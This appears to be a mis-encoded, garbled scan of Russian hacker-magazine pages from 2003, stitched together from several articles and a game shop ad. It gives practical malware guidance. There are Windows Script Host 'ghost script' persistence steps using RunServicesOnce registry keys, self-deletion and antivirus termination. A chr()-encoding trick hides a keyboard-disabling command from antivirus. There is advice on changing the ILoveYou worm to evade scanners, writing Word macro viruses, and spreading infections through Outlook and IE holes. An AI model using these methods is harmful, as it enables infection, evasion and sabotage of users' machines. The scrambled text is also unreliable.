íèÿ êîìïóòåðà äî ïåðåðûâà â ðàáîòå. 
for x = 1 to amount
owshshell.Run ProgName & � /p � & file-
name,0
�Ñàìà ðàñïå÷àòêà.
next
End If
]]>
</script>

</job>

Õî÷åøü ðàñïå÷àòàòü òåêñò? Ïèøè â
ñêðèïò âìåñòî �mspaint.exe� -
�notepad.exe�, à âìåñòî bmp - txt
ôàéë. Òåïåðü âíåäðÿé ïîëó÷åííûé
ôàéë â êîìïüþòåð íà÷àëüíèêà (ìîæ-

íî â àâòîçàãðóçêó). Ïðîöåññ ðàñïå-
÷àòêè î÷åíü �äåìîêðàòè÷íûé� - áåç
ëèøíèõ âîïðîñîâ è ñîîáùåíèé.

Ïîñëå ýòîãî ñìåëî òðÿñè ñ íåãî áàá-
êè íà �íîâûé àíòèâèðóñíûé ïàêåò� :).

ÓÍÈÊÀËÜÍÀß ÎÑÎÁÅÍÍÎÑÒÜ
Â WSH ïðèñóòñòâóåò î÷åíü ïîëåç-
íàÿ îñîáåííîñòü: ìîæíî óäàëèòü
ôàéë ñêðèïòà äî çàâåðøåíèÿ åãî
ðàáîòû. Òî åñòü ñêðèïò ñèäèò â îïå-
ðàòèâêå, à ñàìîãî ôàéëà óæå äàâíî
íåò! Èñïîëüçóÿ ýòó âîçìîæíîñòü,
ìîæíî ñîçäàòü òàê íàçûâàåìûé
�ñêðèïò-ïðèçðàê�. 
Ïðèíöèï äåéñòâèÿ ñêðèïòà-ïðèçðà-
êà òàêîé:
1. Ñêðèïò çàãðóæàåòñÿ â ñèñòåìó
ÄÎ çàãðóçêè àíòèâèðÿ (ôèëüò-
ðà/ìîíèòîðà).

HOWTO/WINDOWS SCRIPT HOST

07(32) 2003

Ïðîãðàììà çà-
ïóñêàåòñÿ â
�íåâèäèìîì�
ðåæèìå, ò.å. î
åå ïðèñóò-
ñòâèè ìîæíî
óçíàòü ëèøü
ïî CTRL-ALT-
DEL. 

Âîçìîæíî ñîç-
äàíèå òàê íà-
çûâàåìîãî
�ñêðèïòà-
ïðèçðàêà�.

WSH âûäàåò äîñòàòî÷íî èíôîðìàòèâíûå

ñîîáùåíèÿ îá îøèáêàõ êîäà

Ñ ïîìîùüþ ñêðèïòîâ ìîæíî èìèòèðîâàòü

ëþáîå ñèñòåìíîå ñîîáùåíèå

Ðóíåòîâñêèé ñàéò, ïîñâÿùåííûé

Windows ñêðèïòàì

Ýòîò ñöåíàðèé ïîìîæåò òåáå ðà-
çîáðàòüñÿ ñî chr()-êîäàìè ñèìâî-
ëîâ.
Ïðîñòî ñêîïèðóé â �Áëîêíîò� è
ñîõðàíè ñ ðàñøèðåíèåì .htm.

<!DOCTYPE HTML PUBLIC �-
//W3C//DTD HTML 4.0
Transitional//EN�>
<html>
<head>
<meta http-equiv=�Content-Style-
Type� content=�text/css�>
<title>Ñèìâîëû è èõ êîäû</title>
</head>
<body>

<div align=�center�>
<h1>Ñèìâîëû è èõ êîäû â
VBScript</h1>
<table border STYLE=�font:arial
5mm�><tr><td>Çíà÷å-
íèå</td><td>Ñèìâîë</td></tr>
<script Type=�text/vbscript�>
for x = 32 to 255
document.write �<tr><td>� & x &
�</td><td>� & chr(x) & �</td></tr>�
next
</script>
</table>
</div>
</body>
</html>

H O W T O



Ýòî ìîæíî ñäåëàòü, çàãðóæàÿ åãî êàê ñåðâèñ - èç ðååñòðà:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr
entVersion\RunServicesOnce]
�Script�=�script.wsf�
À ëó÷øå:
[HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\Curren
tVersion\RunservicesOnce]
�Script�=�script.wsf�
Â ýòîì ñëó÷àå è CTRL-ALT-DEL â Win 9x/ME íè÷åãî íå ïîêàæóò.
2. Ïîñëå ýòîãî îí óäàëÿåò ñâîå òåëî è ññûëêè íà íåãî èç
ôàéëîâîé ñèñòåìû.
3. Íåïîñðåäñòâåííî ðàáîòà ñàìîãî ñêðèïòà.
4. Ïðè îáíàðóæåíèè ïîäãîòîâêè ê ïåðåçàãðóçêå/âûêëþ÷å-
íèþ îí âîññòàíàâëèâàåò ñâîå ôàéëîâîå òåëî è ññûëêó â àâ-
òîçàãðóçêó.
Àíòèâèðóñû ïðè ïðîâåðêå íè÷åãî íå îáíàðóæèâàþò (ïî êðàé-
íåé ìåðå �DRweb� è �Êàñïåðñêèé� ó ìåíÿ ìîë÷àëè). Âîçìî-
æåí ïåðåõâàò ñêðèïòà íà 4 ñòàäèè, åñëè ìîíèòîð åùå íå âûã-
ðóæåí. Îäíàêî àíòèâèðþ ïðåäâàðèòåëüíî ìîæíî �ïîìî÷ü�
óéòè ñ ïîìîùüþ TerminateProcess. Â NT/2k/XP, êîíå÷íî, ïî-
íàäîáÿòñÿ ïðàâà PROCESS_TERMINATE, íî óæ çàòî íà Win
9x/ME íèêàêèõ ïðîáëåì íå áóäåò. Âîçìîæíî, þçåð è îáðàòèò
âíèìàíèå íà ïðîöåññ WSCript.exe, õîòÿ, ÿ óâåðåí, ÷òî 90%
åãî íå çàìåòÿò. Êîíå÷íî, îñòàåòñÿ ïðîáëåìà ñáîåâ/çàâèñà-
íèé/âíåçàïíûõ ïåðåçàãðóçîê, íî è äîñòóïíûõ âîçìîæíîñòåé
ïîðîé áûâàåò áîëåå ÷åì äîñòàòî÷íî.

ÇÀÙÈÒÀ ÎÒ ÓÌÍÛÕ
È, íàïîñëåäîê, ëþáèòåëÿì êîìàíä òèïà �format c: /u
/autotest� èëè �Rundll32.exe keyboard,disable�. Ïåðâûé ïî-
ïàâøèéñÿ àíòèâèðü ñõâàòèò òåáÿ çà ðóêó ïðè ïîïûòêå èñ-
ïîëüçîâàíèÿ ñêðèïòà, ñîäåðæàùåãî òàêóþ ñòðîêó. Íà ìîìåíò
íàïèñàíèÿ ñòàòüè ñóùåñòâîâàëà âîçìîæíîñòü îáîéòè ýòî îã-
ðàíè÷åíèå ïóòåì çàìåíû ÷àñòè êîìàíäû chr() - ïîñëåäîâà-
òåëüíîñòüþ. Â êà÷åñòâå ïðèìåðà ïðèâåäó ôðàãìåíò ñöåíà-
ðèÿ, îòðóáàþùåãî êëàâèàòóðó â Win9x:

Set Shell=CreateObject(�WScript.Shell�) 
Shell.Run �keyboard.disable�

çàìåíÿåì íà

Set Shell=CreateObject(�WScript.Shell�) 
Shell.Run chr(82) & chr(117) & chr(110) & chr(100) & chr(108) & chr(108) &
chr(51) & chr(50) & chr(46) & chr(101) & chr(120) & chr(101) & � � & chr(107) &
chr(101) & chr(121) & chr(98) & chr(111) & chr(97) & chr(114) & chr(100) & chr(44)
& chr(100) & chr(105) & chr(115) & chr(97) & chr(98) & chr(108) & chr(101)

Îáðàòè âíèìàíèå: ïðîáåë â êàâû÷êàõ â ñåðåäèíå chr()-öåïî÷-
êè èìååò ðåøàþùåå çíà÷åíèå. Åñëè æå âñå-òàêè íå ïîâåçëî,
òî ïîêîìáèíèðóé ïî ïðèíöèïó: chr()-öåïî÷êà - íåñêîëüêî
ñèìâîëîâ â êàâû÷êàõ - íåñêîëüêî ïåðåìåííûõ - è ò.ä. Ãëàâ-
íîå, ÷òîáû â èòîãå ïîëó÷èëàñü íóæíàÿ ñòðîêà.
Óäà÷è òåáå â îñâîåíèè WSH è VBScript. Åñëè ÷òî-òî íåïîíÿò-
íî - ìîæåøü íàïèñàòü ìíå. Äî âñòðå÷è.

E

Äîêóìåíòàöèÿ ðàçðàáîò÷èêàì 

îò ñîçäàòåëÿ WSH

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

Golden Sun: The
Lost Age 

The Legend Of Zelda: 
A Link to the Past 

Castlevania: Aria
of Sorrow 

Advance Wars 2:
Black Hole Rising

Donkey Kong
Country 

Tom Clancy's
Splinter Cell 

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü

ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå

$149.99  

$59.99 $52.99 $59.99

$59.99 $59.99 $59.99

ÁÛÑÒÐÎ     ÓÄÎÁÍÎ     ÄÎÑÒÓÏÍÎ   

ÑÓÏÅÐ-ÏÐÅÄËÎÆÅÍÈÅ ÄËß  ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ:
ñòîèìîñòü äîñòàâêè ñíèæåíà íà 10%!

Ïðîöåññîð: 32-Bit ARM
Ïàìÿòü: 32-96 KB VRAM (â CPU), 256 KB
Ýêðàí: 2.9�� TFT c îòðàæàþùåé ìàòðèöåé (40.8
ìì õ 61.2 ìì)
Ðàçðåøåíèå è öâåò: 240õ160 ïèêñåëåé,
32.768 âîçìîæíûõ öâåòîâ
Ðàçìåðû (ØõÂõÒ): 144.5 õ 82 õ 24.5 ìì
Âåñ: 140 ã
Ïèòàíèå: 2 áàòàðåè êëàññà ÀÀ (15 ÷àñîâ)
Íîñèòåëè äàííûõ: êàðòðèäæè
Äðóãîå: Ñòåðåîçâóê, ñîâìåñòèì ñ èãðàìè äëÿ
Game Boy è Game Boy Color

Òåõíè÷åñêèå ïàðàìåòðû:

$95.99  
Òåõíè÷åñêèå ññïåöèôèêàöèè òòîëüêî ääëÿ  GGBA SSP:
* Èíòåãðèðîâàííàÿ ïîäñâåòêà LCD ýêðàíà* Âõîäÿùàÿ â êîìïëåêò ïåðåçàðÿæàåìàÿ Lithium
Ion áàòàðåÿ, ñïîñîáíàÿ ðàáîòàòü 10 ÷àñîâ áåçîñòàíîâî÷íîé èãðû, çàðÿæàåìàÿ âñåãî 3 ÷àñà

(095) 928-6089 (095) 928-0360 (095) 928-3574
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ñòóïëåíèå çàêîí÷åíî,
òåïåðü ïîñìîòðèì, êàê
íàïèñàòü è çàþçàòü

ñâîé âèðóñ èëè âîñïîëüçîâàòüñÿ
÷óæèìè òâîðåíèÿìè :).

ÃÎÒÎÂÅÍÜÊÎÅ
Ñàìûé ïðîñòîé ñïîñîá ïîäñàäêè âè-
ðÿ íà òà÷êó - âîñïîëüçîâàòüñÿ óæå
ãîòîâûì âèðóñîì. Òóò â çàâèñèìîñòè
îò êëàññà âèðÿ, ïåðåíîñ÷èêîì áóäåò
óæå çàðàæåííûé èñïîëíÿåìûé
ôàéë, ìàêðîñ, ñêðèïò, etc. Òåáå îñ-
òàíåòñÿ òîëüêî çàëèòü ýòîò ôàéë íà
êîìï þçåðó è çàïóñòèòü, èëè ìåòî-
äîì «ñîöèàëüíîé èíæåíåðèè» óãî-
âîðèòü æåðòâó ñäåëàòü âñå ñàìîñòî-
ÿòåëüíî, áåç òâîåé ïîìîùè. Ïëþñû
ýòîãî ïîäõîäà â òîì, ÷òî âîîáùå íå
íàäî êîäèòü, ìîæåøü âûáðàòü íåîá-
õîäèìûé âèðü èç òûñÿ÷ ñóùåñòâóþ-
ùèõ ïî íóæíûì òåáå ïàðàìåòðàì è
îçíàêîìèòñÿ ñ èíñòðóêöèåé. Ìèíó-
ñîâ íàìíîãî áîëüøå. Òàêèå ôàéëû
ìîìåíòàëüíî ëîâÿòñÿ ëþáûì àíòè-
âèðóñîì, à íàéòè ðàáî÷èé âèðü, íå
çàíåñåííûé â áàçû, ïðàêòè÷åñêè íå-
ðåàëüíî, åñëè òû, êîíå÷íî, íå áëèç-
êèé äðóã àâòîðà âèðÿ :). Âîò òåáå
ññûëêà íà íåïëîõóþ áàçó âèðóñîâ:
http://ulitka-fforever.ru/ulitka2/
viruses.html. Âèðåé òóò äîñòàòî÷íî,
íî, â îñíîâíîì, âàëÿþòñÿ ìàêðîâè-
ðè äëÿ MS îôèñà. Ïî àäðåñó
http://vault13.dtn.ru/hack/prog/
virus.html íàõîäèòñÿ åùå îäèí ñêëàä
âèðóñîâ ëþáûõ êëàññîâ (ñ èñõîäíè-
êàìè è êîíñòðóêòîðàìè) è òðîÿíîâ.
Êîíå÷íî, ñ íîâèíêàìè äîâîëüíî
ñëîæíî, íî áàçû ëó÷øå íàéòè ñëîæ-
íî. Ïëþñ ìíîãèå âèðè è èñõîäíèêè

ñíàáæåíû êîììåíòàðèÿìè è íîð-
ìàëüíûìè îïèñàíèÿìè íà ðóññêîì
(áàçà âðåìåííî â äàóíå ;(, íàäåþñü,
ñêîðî ïî÷èíÿò). È ïîñëåäíÿÿ êîë-
ëåêöèÿ âèðåé: www2.coderz.net/
kalamar/virii.htm - çäåñü, â îñíîâ-
íîì, ëåæàò ñêðèïòû è ìàêðîâèðè.

ÔÀÁÐÈÊÀ ÂÈÐÅÉ
Íî, ñîãëàñèñü, ïîëüçîâàòüñÿ ÷óæè-
ìè âèðÿìè - ìàëî èíòåðåñíîãî. Êî-
íå÷íî, êàæäîìó ñâîå, íî âñå-òàêè
âñåãäà ëó÷øå õîòÿ áû ïîïðîáîâàòü
÷òî-òî ñëåïèòü ñâîèìè ðóêàìè, òåì
áîëåå âèðü :). Äà è êàê òîãäà ïðî òå-
áÿ óçíàåò âåñü ìèð, åñëè äàæå è íå
ïûòàòüñÿ?

Ïðî ãåíåðàòîðû âèðåé óæå êàê-òî
ïèñàëè â Õ. Äà è âîîáùå ñ íèìè
ïðîáëåì âîçíèêíóòü íå äîëæíî.
Áîëüøèíñòâî ãåíåðàòîðîâ ñäåëàíû
äëÿ ïðîñòîãî è èíòóèòèâíî-ïîíÿòíî-
ãî ïîëüçîâàíèÿ. È òåîðèè òåáå
äîëæíî ïîëíîñòüþ õâàòèòü äëÿ òî-
ãî, ÷òîáû ïîíÿòü, ÷åãî è çà÷åì íà-
æèìàòü äëÿ ñîçäàíèÿ âèðÿ. Áîëü-
øóþ êîëëåêöèþ ãåíåðàòîðîâ âèðåé
òû ìîæåøü íàêà÷àòü ñ ñàéòà www.
ebcvg.com/category.php?cat=4&p=1.
Òóò çàëåæè ãåíåðàòîðîâ âèðåé ëþ-
áûõ êëàññîâ è íà ñàìûé ïðèâåðåä-

ëèâûé âêóñ :). Âîò òîëüêî ïîäàâëÿþ-
ùåå áîëüøèíñòâî âèðåé, ñîçäàííûõ
ãåíåðàòîðàìè, áûñòðî ëîâÿòñÿ àíòè-
âèðóñàìè.

ÑÄÅËÀÉ ÑÀÌ
Òåïåðü ïðèäåòñÿ ïîòðóäèòüñÿ òåáå
ñàìîìó ïî ïîëíîé - áóäåì ïèñàòü
âèðü ñàìîñòîÿòåëüíî (ñìîòðè, ÷òî-
áû íå ñáåæàë!). Ó÷èòü òåáÿ êîäèòü ÿ
ñåé÷àñ íå áóäó, à òîëüêî íàïèøó
ïðî îñíîâû è ïðèíöèïû ñîçäàíèÿ
âèðåé, â îñòàëüíîì òåáå ïîìîæåò
èíåò.
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Ïî àäðåñó
www.trendmi-
cro.com/vinfo/
virusencyclo/
ìîæíî ïî íàç-
âàíèþ èëè ïà-
ðàìåòðàì íàé-
òè îïèñàíèå íà
àíãëèöêîì ëþ-
áîãî âèðÿ, èç-
âåñòíîãî íàóêå.

Êîëëåêöèÿ ãîòîâûõ âèðåé.

Íåñêîëüêî ãåíåðàòîðîâ âèðåé, 

êîòîðûå ÿ ïîòåñòèë.

Âñåâîçìîæíûå ãåíåðàòîðû.

ÂÈÐÈ Â ÂÛÍÜ

Çàöåíèë òåîðèþ? Òîãäà ïåðåõîäèì ê ïðàêòèêå. À, íó äà, ÿ òåáå äîëæåí íàïîìíèòü, ÷òî
âñÿ èíôà ïðåäîñòàâëåíà èñêëþ÷èòåëüíî â îçíàêîìèòåëüíûõ öåëÿõ, íèêòî òåáÿ íå
ñîáèðàåòñÿ ïðîâîöèðîâàòü íà íàïèñàíèå âèðóñîâ, etc. Äà è âîîáùå, ñîçäàíèå è
ðàñïðîñòðàíåíèå âðåäîíîñíûõ ïðîãðàìì aka âèðåé ïîïàäàåò ïîä ñòàòüþ 273 ÓÊ ÐÔ
(îò 3 äî 7 ëåò ëèøåíèÿ ñâîáîäû). Ïðè÷åì àáñîëþòíî íåâàæíî, êàêèì îáðàçîì òû
ñîçäàë ñâîå òâîðåíèå.

5p1k3 (fallout@pisem.net)

ÏÈØÅÌ ÑÀÌÈ, ÞÇÀÅÌ ×ÓÆÈÅ 
È ÃÐÀÌÎÒÍÎ ÏÎÄÑÀÆÈÂÀÅÌ.
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Íàïèñàíèå ôàéëîâûõ/çàãðóçî÷-
íûõ âèðåé íà àñìå - ýòî äëÿ èçáðàí-
íûõ. È åñëè òû íå Íåî èëè Íîà è íå
çíàêîì ñ àññåìáëåðîì è òîíêîñòÿìè
àðõèòåêòóðû ìàñòäàÿ, òî çàáóäü ïî-
êà ïðî ýòî.

Äëÿ íàïèñàíèÿ ÷åðâåé èëè ìàêðî-
âèðåé ïîä âûíü âïîëíå ñãîäèòñÿ
Visual Basic - ðîäíîé ÿçûê MS. Íî íå
Visual Basic êàê òàêîâîé, à Visual
Basic for Applications (äëÿ ìàêðîñîâ)
èëè VBScript (äëÿ ÷åðâÿêîâ). À òî,
ïðÿì, àíåêäîò ïîëó÷èòñÿ - «Äëÿ ðà-
áîòû ïðîãðàììû «I-Worm.X» íåîáõî-
äèìà áèáëèîòåêà Visual Basic».

Äëÿ îçíàêîìëåíèÿ ñ ìåòîäèêîé
íàïèñàíèÿ ÷åðâåé ïîëåçíî áóäåò
èçó÷èòü èñõîäíèêè êóëüòîâûõ çà-
ðàç. Äëÿ íà÷àëà âïîëíå ñîéäåò èñ-
õîäíèê ILoveYou. Ïîìíèøü, êàêîé
ñòðåì ðàçâîäèëè â íîâîñòÿõ â ñâîå
âðåìÿ èç-çà ýïèäåìèè ýòîãî ÷åðâÿ-
êà? Èñõîäíèêè ñìîòðè íà
http://hacknews.boom.ru/zap/14.htm.
Îáúåì êîäà, êàê âèäèøü, íå òàêîé
óæ è íåïîäúåìíûé. Åñëè òû ðó-
áèøü â áåéñèêå, òî ïîñòåïåííî
ïðîñå÷åøü ôóíêöèè âñåõ ó÷àñòêîâ
êîäà, â ýòîì òåáå ïîìîãóò êîììåí-
òàðèè, êîòîðûìè ñíàáæåí èñõîä-
íèê. Êîãäà áîëåå èëè ìåíåå ðàçáå-
ðåøüñÿ ñî ñòðóêòóðîé âèðÿ, ïîïðî-
áóé âíåñòè â êîä ñâîè ïåðâûå èç-
ìåíåíèÿ, âîò òîëüêî çàïóñêàòü ÿ
ýòî ïîêà íå ñîâåòóþ :). Ïîñëå âñåõ
ïðåîáðàçîâàíèé íàòðàâè íà ÷åðâÿ
àíòèâèðü, ñêîðåå âñåãî ñêàíåð çàÿ-
âèò, ÷òî ýòî òîò æå ñàìûé âèðóñ.
Ìåòîäîì òûêà íàéäè ñòðîêó êîäà,
íà êîòîðóþ ðóãàåòñÿ àíòèâèðóñ
(ñêàíåð èùåò â êîäå óíèêàëüíóþ
ñòðîêó, ïðèñóùóþ òîëüêî äàííîìó
âèðóñó) è çàìåíè åå íà ñõîäíóþ
êîíñòðóêöèþ. Âîò è ãîòîâà òâîÿ
ïåðâàÿ ìîäèôèêàöèÿ âèðÿ, êîòî-
ðóþ íå ëîâèò ñêàíåð àíòèâèðÿ, ìî-
æåøü îòêðûâàòü ïèâî. Ïðàâäà âîç-
íèêàåò îäèí îáëîì: êàê ïðîâåðèòü
íà ðàáîòîñïîñîáíîñòü ìîíñòðà, êî-
òîðîãî òû ñîòâîðèë. Åñëè ñîáèðà-
åøüñÿ ñåðüåçíî ýòèì çàíèìàòüñÿ,
òî ëó÷øå âûäåëèòü ïîä ýêñïåðè-
ìåíòû îòäåëüíûé ðàçäåë èëè öå-
ëûé âèíò, è íèêîãäà (!) íå çàïóñêàé
âèðü, ïîêà íå îöåíèøü âñå âîç-
ìîæíûå ïîñëåäñòâèÿ è íå ïðîâå-
ðèøü êàæäûé ìèëëèìåòð êîäà.

Íàïèñàíèå ìàêðîâèðåé àíàëîãè÷-
íî. Íàæèìàåøü â Âîðäå Alt+F8 è
ñðàçó ïîïàäàåøü â ðåäàêòîð ìàêðî-
ñîâ, îñòàëüíîå óæå çàâèñèò îò òâî-

åé èçâðàùåííîñòè, âîîáðàæåíèÿ è
íàâûêîâ íàïèñàíèå âèðåé. Îäíà èç
ãëàâíûõ çàäà÷ ìàêðîâèðóñà -
âëåçòü â ñòàíäàðòíûé øàáëîí (nor-
mal.dot). Åñëè ïîëó÷èòüñÿ, òî òåïåðü
èíôèöèðîâàííûì áóäåò ëþáîé äî-
êóìåíò, ñîçäàííûé íà ýòîì êîìïå. Ñ
ìàêðîâèðóñàìè îòíîñèòåëüíî ñëîæ-
íî áîðîòüñÿ èç-çà òîãî, ÷òî â âîðäå
ïî-ëåâîìó (ìÿãêî ñêàçàíî) ñäåëàíà
ñèñòåìà áåçîïàñíîñòè ìàêðîñîâ, êî-
òîðàÿ îòêëþ÷àåòñÿ èçìåíåíèåì âñå-
ãî îäíîãî ïàðàìåòðà â ðååñòðå. È
ýòî äàëåêî íå åäèíñòâåííàÿ ïîäîá-
íàÿ ëàæà.

ÂÏÀÐÈÂÀÅÌ
Âèðóñ ãîòîâ, îñòàëñÿ ïîñëåäíèé
øàã - âïàðèâàíèå åãî òîëïå ïîòåí-
öèàëüíûõ æåðòâ. È åñëè íà ýòîì
ýòàïå ïîÿâèòñÿ ðîçîâàÿ ïòèöà Îá-
ëîìèíãî è íàãëî íàñðåò íà âñå òâîè
ïëàíû, òî áóäåò ñîâñåì íåïðèêîëü-
íî. ×åñòíî ãîâîðÿ, ðàçâåñòè ñåé÷àñ
þçåðà íà «ïðîñòî çàïóñòè ôàéë»,
åñëè îí íå â ïåðâûé ðàç âèäèò
êîìï, êðàéíå ïðîáëåìàòè÷íî. Òàê-
æå äàâíî ïî÷òè íå êàòÿò ïðèêîëû ñ
ôàéëàìè ñ äâîéíûì ðàñøèðåíèåì,
òèïà super_porno.jpg.exe, õîòÿ ïîï-
ðîáîâàòü ìîæíî. Äà è â ìûëüöå
support@microsoft.com ìàëî êòî
ñåãîäíÿ ïîâåðèò :(. À âîò ìîêðèöó
aka ìàêðîñ âïèõíóòü âïîëíå ðåàëü-
íî, òàê êàê äî ñèõ ïîð íàõîäèòñÿ
ìíîæåñòâî äîãàäëèâûõ èíäèâèäîâ,
êîòîðûå ïîëíîñòüþ óâåðåíû, ÷òî
äîêóìåíòû ms word - ýòî ïðîñòî áå-
çîáèäíûå òåêñòèêè. Ñî âòþõèâàíè-
åì âèðåé - ãëàâíîå ïðèäóìàòü îðè-
ãèíàëüíóþ èäåþ è ãðàìîòíî åå ðåà-
ëèçîâàòü. Íî âñå ýòè ïîïûòêè âïà-
ðèâàíèÿ çàðàçû çàâèñÿò îò òàêîé
øòóêè, êàê «÷åëîâå÷åñêèé fuck-
òîð»: þçåð ìîæåò çàïóñòèòü ïðîæ-
êó, à ìîæåò è íàîòðåç îòêàçàòüñÿ,
îòðóáèòüñÿ îò èíåòà è ñïðÿòàòüñÿ
ïîä ïîäóøêîé. À ýòî ñîâñåì íå
åñòü ãóä.

ÐÅØÅÒÎ
ß äóìàþ, òû íå ðàç ñëûøàë è óñëû-
øèøü ïðî òî, ñêîëüêî òûñÿ÷ äûð
óæå íàøëè è åùå íàéäóò â ðåøåòå
ïîä íàçâàíèåì ñîôò îò MS. Ýòèì-òî
è ëó÷øå âñåãî ïîëüçîâàòüñÿ ïðè
ðàñïðîñòðàíåíèè âèðÿ. Åñòåñòâåí-
íî, íàäî þçàòü ñàìûå ïîñëåäíèå
óÿçâèìîñòè, çàïëàòêè ê êîòîðûì
÷àñòî íå óñïåâàþò ñäåëàòü, äà è
ñòàâèòü ýòè çàïëàòêè ñâîåâðåìåííî
áóäåò äàëåêî íå êàæäûé. Çàõîäè íà
www.bugtraq.ru, http://www.gunins-
ki.com/ bbrowsers.html èëè ëþáîé
äðóãîé ñàéò áàãîâ, êîòîðûé ðåãó-
ëÿðíî îáíîâëÿåòñÿ è èùè òàì îïè-
ñàíèå òîãî, êàê èñïîëüçîâàòü íî-
âåíüêèå äûðû â ïî÷òîâèêå Outlook
èëè áðîäèëêå IE (îñåë òîæå ñãîäèò-
ñÿ, òàê êàê îíè ñ àóòãëþêîì ïîëüçó-
þò íåñêîëüêî îáùèõ áèáëèîòåê) íà
âûïîëíåíèå ïðîèçâîëüíîãî êîäà.
Äàëåå ñîçäàâàé HTML ïèñüìåöî
ñîãëàñíî óÿçâèìîñòè, ïðèêëåèâàé ê
íåìó àòòà÷, êîòîðûé íàäî áóäåò âû-
ïîëíèòü, è îòïðàâëÿé â ñâîáîäíîå
ïëàâàíèå.

Íàïðèìåð, ÷åðâÿê Klez ðàññûëàëñÿ
ïîä âèäîì ëåêàðñòâà ïðîòèâ äðóãî-
ãî âèðÿ îò Ëàáîðàòîðèè Êàñïåðñêî-
ãî, ñòðîèë èç ñåáÿ ïàò÷ äëÿ îñëèêà
6.0 è ïðî÷åå, è ïðî÷åå, è ïðî÷åå.
Ïðè ýòîì îí èñïîëüçîâàë äûðêó â
àóòãëþêå è ñîçäàâàë ñâîåìó ãëàâ-
íîìó ôàéëó äâîéíîå ðàñøèðåíèå.
Ïîòîìó è ðàñïîëçñÿ ïî âñåìó íåòó è
ñòàë ñàìûì ìàññîâûì âèðåì çà âñþ
èñòîðèþ ìèðîçäàíèÿ :).

THE END
Âîò è âñå, ÷òî ÿ õîòåë ðàññêàçàòü
òåáå ïî âèðÿì. Íàäåþñü, ýòî òåáÿ
ïîäòîëêíåò íà èçó÷åíèå ÷åãî-òî íî-
âîãî äëÿ òåáÿ, à íå íà êðóøåíèå
âñåãî ïîäðÿä. Óäà÷è!

E

Ýíöèêëîïåäèÿ âèðåé ñ óäîáíûì ïîèñêîì.

Ïèøåì ìàêðîñ, íó èëè ìàêðîâèðü.

Ìàíóàëû ïî
íàïèñàíèþ
ïðîæåê íà

áåéñèêå ìî-
æåøü ïî÷è-
òàòü íà ñàé-

òàõ: www.cit-
forum.ru/inter-
net/vbscript/v

bscript.shtml
(íåïëîõîé

ó÷åáíèê) èëè
www.webber.ru
/articles/cate-
gory.html?cat-

egory_id=15
(äîâîëüíî
òîëêîâûé

ñïðàâî÷íèê).
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ñå íà÷àëîñü íå ñî
çëà, âñå íà÷àëîñü êàê
èãðà! (Ñ) Àðèÿ

×ÅÐÂßÊ ÌÎÐÐÈÑÀ È ÏÐÎ×ÈÅ
ÍÀÑÅÊÎÌÛÅ
Ïåðâàÿ ñèëüíàÿ àòàêà, îñíîâàííàÿ íà
ïåðåïîëíåíèè áóôåðà, áûëà ðåàëèçî-
âàíà ñ ïîìîùüþ èçâåñòíîãî ÷åðâÿ
Ìîððèñà àæ â 1988 ãîäó íàøåé ýðû. Â
òå âðåìåíà îñíîâíîé ñåòåâîé ÎÑ áûë
Þíèõ, è èìåííî â åãî äåìîíå (sendmail
- îòïðàâêà ïî÷òû) áûëà íàéäåíà âîç-
ìîæíîñòü âûçâàòü buffer overflow. À
äàëüøå êîëè÷åñòâî òàêèõ àòàê ðîñëî,
êàê ñíåæíûé êîì. Èññëåäîâàëèñü è íà-
õîäèëèñü íîâûé äûðÿâûå ñîôòèíû.
Ñåãîäíÿ óÿçâèìîñòè è áàãè, ñâÿçàííûå
ñ òàê íàçûâàåìûì ïåðåïîëíåíèåì ñòå-
êà èëè áóôåðà, ÿâëÿþòñÿ îäíîé èç îñ-
íîâíûõ ïðîáëåì ñèñàäìèíîâ. Â ðàñ-
ñûëêàõ è íà ñàéòàõ, ïîñâÿùåííûõ äû-
ðàì â çàùèòå ñîôòà, óÿçâèìîñòè òàêî-
ãî ðîäà ñîñòàâëÿþò îêîëî 2/3 îò îá-
ùåãî ÷èñëà. À ïðîñòîå íàáëþäåíèå çà
ñîáûòèÿìè, ïðîèñõîäÿùèìè ñåãîäíÿ â
îáëàñòè ñåòåâûõ òåõíîëîãèé, äàåò âñå
îñíîâàíèÿ ñ÷èòàòü, ÷òî ïîÿâèëîñü è
î÷åíü áûñòðî ðàñòåò öåëîå ïîêîëåíèå
ïðîãðàìì, íàçûâàþùèìè ñåáÿ «buffer-
overflow exploits». Òàêèõ ñîôòèí ìíî-
æåñòâî, íî âñå îíè äëÿ ïðîðûâà â ñèñ-
òåìó è/èëè äëÿ ïîëó÷åíèÿ ïðàâ ðóòà
èñïîëüçóþò ãëþêè â êîíòðîëå ðàçìå-
ðîâ ñòðîê è áóôåðîâ. Ïðè÷åì ïðîáëå-
ìà äàâíî âûøëà çà ðàìêè UNIX-ñèñ-
òåì. Ñåé÷àñ ïåðåïîëíåíèå áóôåðà
î÷åíü àêòóàëüíî äëÿ âñåõ ÎÑ îò ìåë-
êîìÿãêèõ, äàæå ãîâîðÿò, ÷òî óæå íàé-
äåí áóôåð îâåðôîâ â 2003-õ ñåðâåð-
íûõ Âèíäàõ! È ñàìîå-òî èíòåðåñíîå,
÷òî ýòè áàãè íå ÿâëÿþòñÿ çàêðûâàåìû-
ìè ðàç è íàâñåãäà! Ïåðåïîëíåíèå áó-
ôåðà - ýòî óæå íåêàÿ òåõíîëîãèÿ, ïîç-
âîëÿþùàÿ íàõîäèòü äûðû òàì, ãäå èõ
íèêîãäà íå áûëî :).

ÃÄÅ ÆÅ ÒÛ, ÃÄÅ, 
ÄÛÐÎ×ÊÀ ÌÀËÀß!
Ñåé÷àñ ìû ïîïðîáóåì íàéòè ðó÷êà-
ìè ýòî ñàìîå ïåðåïîëíåíèå. Ñàìîå
ïðèìèòèâíîå ïåðåïîëíåíèå áóôåðà
ïðîèñõîäèò ïðè ðàáîòå ñî ñòðîêàìè
â òåêñòîâûõ ïðîòîêîëàõ (HTTP,
SMTP, POP, FTP). Âîò êàê ìîæíî íà-
